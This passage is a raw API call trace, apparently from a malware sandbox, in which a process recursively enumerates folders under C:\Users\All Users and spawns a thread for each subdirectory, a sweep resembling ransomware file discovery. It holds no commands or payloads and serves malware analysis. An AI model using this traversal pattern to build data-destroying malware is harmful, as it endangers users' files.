Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0087.925] wcscat (in: _Dest=0x1b82bf90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Desktop\\") returned="C:\\Users\\All Users\\Desktop\\" [0087.925] wcscat (in: _Dest=0x1b82bf90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Desktop\\*") returned="C:\\Users\\All Users\\Desktop\\*" [0087.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f580 [0087.925] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f580) returned 1 [0087.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0087.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8000) returned 1 Thread: id = 277 os_tid = 0xd84 [0087.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82bf90 [0087.934] wcscpy (in: _Dest=0x1b82bf90, _Source="C:\\Users\\All Users\\Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0087.935] wcscat (in: _Dest=0x1b82bf90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Documents\\") returned="C:\\Users\\All Users\\Documents\\" [0087.935] wcscat (in: _Dest=0x1b82bf90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Documents\\*") returned="C:\\Users\\All Users\\Documents\\*" [0087.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f580 [0087.935] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f580) returned 1 [0087.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0087.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 Thread: id = 278 os_tid = 0xd88 [0087.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82bf40 [0087.939] wcscpy (in: _Dest=0x1b82bf40, _Source="C:\\Users\\All Users\\Favorites" | out: _Dest="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites" [0087.939] wcscat (in: _Dest=0x1b82bf40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Favorites\\") returned="C:\\Users\\All Users\\Favorites\\" [0087.939] wcscat (in: _Dest=0x1b82bf40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Favorites\\*") returned="C:\\Users\\All Users\\Favorites\\*" [0087.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f580 [0087.940] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Favorites\\*", lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f580) returned 1 [0087.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0087.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 Thread: id = 279 os_tid = 0xd8c [0087.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c350 [0087.942] wcscpy (in: _Dest=0x1b82c350, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0087.942] wcscat (in: _Dest=0x1b82c350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0087.942] wcscat (in: _Dest=0x1b82c350, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\*") returned="C:\\Users\\All Users\\Microsoft\\*" [0087.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f580 [0087.942] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858bb0 [0087.943] wcscmp (_String1=".", _String2=".") returned 0 [0087.943] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.943] wcscmp (_String1="..", _String2=".") returned 1 [0087.943] wcscmp (_String1="..", _String2="..") returned 0 [0087.943] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0087.943] wcscmp (_String1="Assistance", _String2=".") returned 1 [0087.943] wcscmp (_String1="Assistance", _String2="..") returned 1 [0087.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd9caf0 [0087.943] wcscpy (in: _Dest=0x1cd9caf0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0087.943] wcscat (in: _Dest=0x1cd9caf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0087.943] wcscat (in: _Dest=0x1cd9caf0, _Source="Assistance" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance" [0097.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9caf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8 [0097.213] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0097.214] wcscmp (_String1="Crypto", _String2=".") returned 1 [0097.214] wcscmp (_String1="Crypto", _String2="..") returned 1 [0097.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bd60 [0097.214] wcscpy (in: _Dest=0x1b82bd60, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.214] wcscat (in: _Dest=0x1b82bd60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.214] wcscat (in: _Dest=0x1b82bd60, _Source="Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0097.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bd60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120c [0097.215] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0097.215] wcscmp (_String1="Device Stage", _String2=".") returned 1 [0097.215] wcscmp (_String1="Device Stage", _String2="..") returned 1 [0097.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b858a30 [0097.215] wcscpy (in: _Dest=0x1b858a30, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.215] wcscat (in: _Dest=0x1b858a30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.215] wcscat (in: _Dest=0x1b858a30, _Source="Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0097.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1210 [0097.216] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0097.216] wcscmp (_String1="DeviceSync", _String2=".") returned 1 [0097.216] wcscmp (_String1="DeviceSync", _String2="..") returned 1 [0097.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b8589d0 [0097.216] wcscpy (in: _Dest=0x1b8589d0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.216] wcscat (in: _Dest=0x1b8589d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.216] wcscat (in: _Dest=0x1b8589d0, _Source="DeviceSync" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync" [0097.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8589d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1214 [0097.217] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0097.217] wcscmp (_String1="DRM", _String2=".") returned 1 [0097.217] wcscmp (_String1="DRM", _String2="..") returned 1 [0097.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bfe0 [0097.217] wcscpy (in: _Dest=0x1b82bfe0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.217] wcscat (in: _Dest=0x1b82bfe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.217] wcscat (in: _Dest=0x1b82bfe0, _Source="DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0097.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bfe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1218 [0097.218] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0097.218] wcscmp (_String1="eHome", _String2=".") returned 1 [0097.218] wcscmp (_String1="eHome", _String2="..") returned 1 [0097.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82be50 [0097.218] wcscpy (in: _Dest=0x1b82be50, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.218] wcscat (in: _Dest=0x1b82be50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.218] wcscat (in: _Dest=0x1b82be50, _Source="eHome" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome" [0097.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82be50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x121c [0097.219] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0097.219] wcscmp (_String1="Event Viewer", _String2=".") returned 1 [0097.219] wcscmp (_String1="Event Viewer", _String2="..") returned 1 [0097.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b8585b0 [0097.219] wcscpy (in: _Dest=0x1b8585b0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.219] wcscat (in: _Dest=0x1b8585b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.219] wcscat (in: _Dest=0x1b8585b0, _Source="Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0097.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8585b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1220 [0097.221] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0097.221] wcscmp (_String1="IdentityCRL", _String2=".") returned 1 [0097.221] wcscmp (_String1="IdentityCRL", _String2="..") returned 1 [0097.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858fd0 [0097.221] wcscpy (in: _Dest=0x1b858fd0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.221] wcscat (in: _Dest=0x1b858fd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.221] wcscat (in: _Dest=0x1b858fd0, _Source="IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0097.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1224 [0097.222] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0097.222] wcscmp (_String1="Media Player", _String2=".") returned 1 [0097.222] wcscmp (_String1="Media Player", _String2="..") returned 1 [0097.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b859030 [0097.222] wcscpy (in: _Dest=0x1b859030, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.222] wcscat (in: _Dest=0x1b859030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.222] wcscat (in: _Dest=0x1b859030, _Source="Media Player" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Media Player") returned="C:\\Users\\All Users\\Microsoft\\Media Player" [0097.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859030) returned 1 [0097.222] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0097.222] wcscmp (_String1="MF", _String2=".") returned 1 [0097.222] wcscmp (_String1="MF", _String2="..") returned 1 [0097.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c080 [0097.223] wcscpy (in: _Dest=0x1b82c080, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.223] wcscat (in: _Dest=0x1b82c080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.223] wcscat (in: _Dest=0x1b82c080, _Source="MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0097.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1228 [0097.223] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0097.224] wcscmp (_String1="MSDN", _String2=".") returned 1 [0097.224] wcscmp (_String1="MSDN", _String2="..") returned 1 [0097.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c120 [0097.224] wcscpy (in: _Dest=0x1b82c120, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.224] wcscat (in: _Dest=0x1b82c120, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.224] wcscat (in: _Dest=0x1b82c120, _Source="MSDN" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN" [0097.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x122c [0097.225] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0097.225] wcscmp (_String1="NetFramework", _String2=".") returned 1 [0097.225] wcscmp (_String1="NetFramework", _String2="..") returned 1 [0097.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b859030 [0097.225] wcscpy (in: _Dest=0x1b859030, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.225] wcscat (in: _Dest=0x1b859030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.225] wcscat (in: _Dest=0x1b859030, _Source="NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0097.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b859030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1230 [0097.226] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0097.226] wcscmp (_String1="Network", _String2=".") returned 1 [0097.226] wcscmp (_String1="Network", _String2="..") returned 1 [0097.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858670 [0097.226] wcscpy (in: _Dest=0x1b858670, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.226] wcscat (in: _Dest=0x1b858670, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.226] wcscat (in: _Dest=0x1b858670, _Source="Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0097.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1234 [0097.227] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0097.227] wcscmp (_String1="OFFICE", _String2=".") returned 1 [0097.227] wcscmp (_String1="OFFICE", _String2="..") returned 1 [0097.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1cd972b0 [0097.227] wcscpy (in: _Dest=0x1cd972b0, 